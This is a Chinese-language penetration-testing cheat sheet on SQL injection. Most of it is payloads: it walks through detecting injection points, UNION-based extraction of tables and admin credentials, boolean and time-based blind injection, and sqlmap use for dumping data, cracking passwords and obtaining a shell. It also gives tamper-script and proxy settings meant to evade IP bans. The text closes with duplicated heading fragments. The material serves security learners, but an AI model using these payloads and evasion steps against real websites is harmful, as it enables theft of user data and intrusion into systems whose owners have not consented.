sql注入简介

sql注入攻击是由插入或注入一段从客户端输入的sql语句引起的。一个成功的sql注入利用(exploit)能从数据库读取敏感数据，改变数据库数据（通过Insert/Update/Delete），在数据库执行(execute)管理员操作（比如关闭数据库管理系统DBMS），在DBMS文件系统上回复指定文件的内容和在一些场景下执行操作系统命令（command）。sql注入攻击是一种注入攻击，它将sql命令注入到数据平面（data-plan）使得影响预先设置的sql命令的执行结果。

判断是否存在注入

1.字符型

法一：

http://www.xxx.com/xxx.asp?n=article’ 报错

http://www.xxx.com/xxx.asp?n=article’ and ‘1’ ='1，查询成功

http://www.xxx.com/xxx.asp?n=article’ and ‘1’ ='2，查询失败，返回结果为空或错误

法二：

1’ and 1=1 # （1’ and 1=1- -+）

(#或–代表注释的意思，用- -时后需加空格，或用+也可执行成功)
例：select * from table where name =‘article’ and 1=1- -+’(- -+可将后面的注释掉)

说明存在字符型注入

2.数字型

http://www.xxx.com/xxx.asp?n=22’ 返回错误(网页消失)
http://www.xxx.com/xxx.asp?n=22 and 1=1 返回正常
http://www.xxx.com/xxx.asp?n=22 and 1=2返回错误

说明存在数字型注入

猜解SQL查询语句中的字段

http://www.xxx.com/xxx.asp?n=22 order by n
n为数字，从1开始，当查询到n+1时报错，则字段数为n

http://www.xxx.com/xxx.asp?n=22 union select 1,2…n from admin
// admin为猜解的表名

order by 查询几个字段然后union select 1,2…查看相关字段(回显id代表的含义)。例如union select user(),database()
2.

3.获取数据库中的表：

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    //字符型
id =-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

4.获取表中的字段名

id =1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users ’# //若'字符被转义则可换成十六进制形式
id=-1 union select version(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’data’) 
//data 和users为表名

5.获取数据：

id=-1 union select version(),(select thekey from data) //thekey是字段名

7.下载数据

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

例：

读出所有库:

http://www.xx.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA

读出所有表:

http://www.xx.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables(admin) where table_schema=database()

mysql4.1以上版本支持concat函数

a. 执行语句

union select 1,2,3,4,group_concat(table_name),6,7,8,9,10 from information_schema.tables where table_schema=0x77677978797765626D6973

结果爆出 admin等表

b. 执行:

 and 1=2 union select 1,2,3,4,group_concat(column_name),6,7,8,9,10 from
    information_schema.columns where table_name=0x61646D696E

结果爆出:  username,password  等一些 字段

c.执行:

 and 1=2 union select 1,2,3,4,group_concat(username,0x3a,password),6,7,
    8,9,10 from admin
结果爆出:字段内容

sql盲注

1.判断是否存在注入，注入是字符型还是数字型

输入1'and 1=1 #，显示存在
输入1'and 1=2 #，显示不存在：说明存在

2.猜解当前数据库名

输入1' and length(database())=1 #，显示不存在
输入1' and length(database())=2 #，显示不存在；
输入1' and length(database())=3 #，显示存在；
二分法猜名字
输入1' and ascii(substr(databse(),1,1))>97 #，显示存在，说明数据库名的第一个字符的ascii值大于97（小写字母a的ascii值）；
输入1' and ascii(substr(databse(),1,1))<122 #，显示存在，说明数据库名的第一个字符的ascii值小于122（小写字母z的ascii值）

3.猜解数据库中的表名

首先猜解数据库中表的数量：

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在\

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

说明数据库中共有两个表，接着挨个猜解表名：

  1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
    ...

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

说明表名长为9

表名猜测一样用二分法

4.猜解表中的字段名

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在

…

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在

猜字段名

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在

…

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在

长度为7，然后二分法猜表名

5.猜数据，一样思路

基于时间的盲注：

1.判断是否存在注入，注入是字符型还是数字型

输入1’ and sleep(5) #，感觉到明显延迟；
输入1 and sleep(5) #，没有延迟；
说明字符型注入

2.猜解当前数据库名

 1’ and if(length(database())=1,sleep(5),1) # 没有延迟
...

1’ and if(length(database())=4,sleep(5),1) # 明显延迟

说明数据库名长度为4个字符。
接着采用二分法猜解数据库名：

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
…
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

说明数据库名的第一个字符为小写字母d。

3.猜解数据库中的表名

首先猜解数据库中表的数量：

* 1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
* 1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

说明数据库中共有两个表。

接着挨个猜解表名：

* 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
* …
* 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

说明第一个表名长度为9。二分法猜出表名

4.猜解表中的字段名

首先猜解表中字段的数量：

 1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
 …
 1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

说明users表中有8个字段。

接着挨个猜解字段名：

 1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
 …
 1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟**

说明users表的第一个字段长度为7个字符。
采用二分法即可猜解出各个字段名。

5.猜解数据

同样采用二分法。

post注入

1.输入账号密码，用bp抓包
2.复制包的内容到txt文本
3.用sqlmap注入 sqlmap.py -r post.txt

Access数据库注入

1.不支持时间盲注
2.只能爆破表名，不建议手工，可用啊D，sqlmap等工具

其他注入点检测方法

http://xxx.com/news.asp?id=123-1

如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞；

URL地址后面加上 -0，

http://xxx.com/news.asp?id=123-0

返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。

在URL的地址后面加上’%2B’

http://xxx.com/news.asp?id=123
http://xxx.com/news.asp?id=123 ‘%2B’，返回的页面和1同；
http://xxx.com/news.asp?id=123 '%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，

则表示存在注入点，是文本型的。

sqlmap的使用

1.对文本时使用 -r
对链接时使用 -u
得到的基本信息如下

2.得到当前数据库名

3.对数据库表名进行枚举

4.用–columns对表中的列进行枚举

5.获取user表中的name和password字段

密码为密文，SQLmap会自动询问，是否爆破，选择“是”即可开始使用SQLMAP自带的字典进行爆破。
6。获取shell，选择后台语言

注意
-p 指定参数
-data 选择哪些数据
–proxy=域名:端口代理
–technique 指定sqlmap使用的探测技术，默认情况下会测试所有的方式。
B: Boolean-based blind SQL injection（布尔型注入）
E: Error-based SQL injection（报错型注入）
U: UNION query SQL injection（可联合查询注入）
S: Stacked queries SQL injection（可多语句查询注入）
T: Time-based blind SQL injection（基于时间延迟注入）

is-dba 当前用户权限

dbs 所有数据库

current-db 网站当前数据库

users 所有数据库用户
current-user 当前数据库用户
tables 参数:列表名
columns 参数:列字段
dump 参数:下载数据
测试时防止ip被ban，可用以下方法:
python sqlmap.py -u 链接 -p query_type --random-agent --tamper=space2comment --delay=3.5 --time-sec=60 --proxy=http://ip:端口

tamper “space2comment.py” 将空格替换成/**/
equaltolike.py, 将等号替换成like
symboliclogical.py 用 && 替换 and ，用 || 替换 or

web渗透笔记之sql注入（基础篇）

sql注入简介

判断是否存在注入

猜解SQL查询语句中的字段

例：

sql盲注

1.判断是否存在注入，注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜数据，一样思路

基于时间的盲注：

1.判断是否存在注入，注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

post注入

Access数据库注入

其他注入点检测方法

sqlmap的使用

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判断是否存在注入

猜解SQL查询语句中的字段

例：

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1.判断是否存在注入，注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜数据 ，一样思路

基于时间的盲注：

1.判断是否存在注入，注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

post注入

Access数据库注入

其他注入点检测方法

sqlmap的使用

5.猜数据，一样思路